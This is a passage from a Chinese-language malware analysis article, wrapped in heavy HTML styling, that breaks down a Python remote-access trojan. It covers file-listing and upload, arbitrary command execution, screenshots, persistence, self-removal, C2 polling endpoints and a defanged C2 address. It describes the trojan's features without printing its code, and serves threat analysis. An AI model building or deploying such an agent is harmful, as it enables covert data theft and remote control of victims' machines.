1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">listall()</span></strong><span leaf="">: 递归列出用户HOME目录所有文件并上传</span></p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">upload()</span></strong><span leaf="">: 上传本地文件到服务器</span></p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">download()</span></strong><span leaf="">: 从任意URL下载文件</span></p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">zip()</span></strong><span leaf="">: 压缩文件/目录</span></p></div></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">3.</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">命令执行能力</span></strong></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">runcmd()</span></strong><span leaf="">: 执行任意shell命令</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">python()</span></strong><span leaf="">: 执行Python代码或文件</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">cd(): 切换工作目录</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">4.</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">隐秘通信</span></strong></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">周期性轮询服务器（server_hello()）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">静默模式（silent标志）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">失败连接计数管理</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">5.</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">特殊功能</span></strong></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">screenshot()</span></strong><span leaf="">: 截屏并上传（依赖ImageGrab）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">clean()</span></strong><span leaf="">: 自卸载</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">crack()</span></strong><span leaf="">: 自销毁（调用clean后退出）</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">7.</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">通信协议</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">POST /api/{UID}/hello         # 获取命令</span><span leaf=""><br/></span><span leaf="">POST /api/{UID}/report        # 发送输出</span><span leaf=""><br/></span><span leaf="">POST /api/{UID}/upload        # 上传文件</span></code></pre><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">使用JSON和表单数据</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">基于HTTP协议，容易被防火墙检测</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">Agent类的方法</span></strong></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">init: 初始化agent，获取系统信息，并调用listall方法（列出用户目录下的所有文件并上传）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">get_install_dir: 获取安装目录（Linux为~/.vmblco，Windows为%USERPROFILE%\vmblco）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">is_installed: 判断是否已安装（检查安装目录是否存在）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">get_consecutive_failed_connections: 获取连续失败连接次数（从文件中读取或返回内存中的值）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">update_consecutive_failed_connections: 更新连续失败连接次数（写入文件或更新内存中的值）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">log: 打印日志（目前只是打印到控制台）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">get_UID: 生成唯一标识（用户名+MAC地址）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">server_hello: 向服务器发送hello请求，获取指令</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">send_output: 将命令输出发送到服务器</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">expand_path: 扩展路径（环境变量和用户目录）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">runcmd: 运行shell命令（线程化）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">python: 运行Python代码或文件（线程化）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">cd: 切换当前工作目录</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">upload: 上传文件到服务器（线程化）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">download: 从HTTP(S)下载文件到本地（线程化）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">persist: 持久化安装agent（将自身复制到特定目录并设置自启动）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">listall: 列出用户目录下的所有文件并上传列表（在初始化时调用）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">clean: 卸载agent（删除安装目录和自启动项）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">exit: 退出agent</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">crack: 破解agent（调用clean和exit，但注意：crack方法中先设置了silent为True，然后清理并退出）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">zip: 压缩文件或目录（线程化）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">screenshot: 截图并上传（注意：代码中使用了ImageGrab，但未导入，可能需要PIL库）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">help: 显示帮助信息</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">run: 主循环，不断向服务器请求指令并执行</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">config模块定义的变量</span></strong></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">SERVER</span></strong><span leaf="">: 服务器地址，该样本中C2地址为hxxp://164.215.103[.]230:20145</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">HELP: 帮助信息</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">PERSIST: 是否持久化</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: 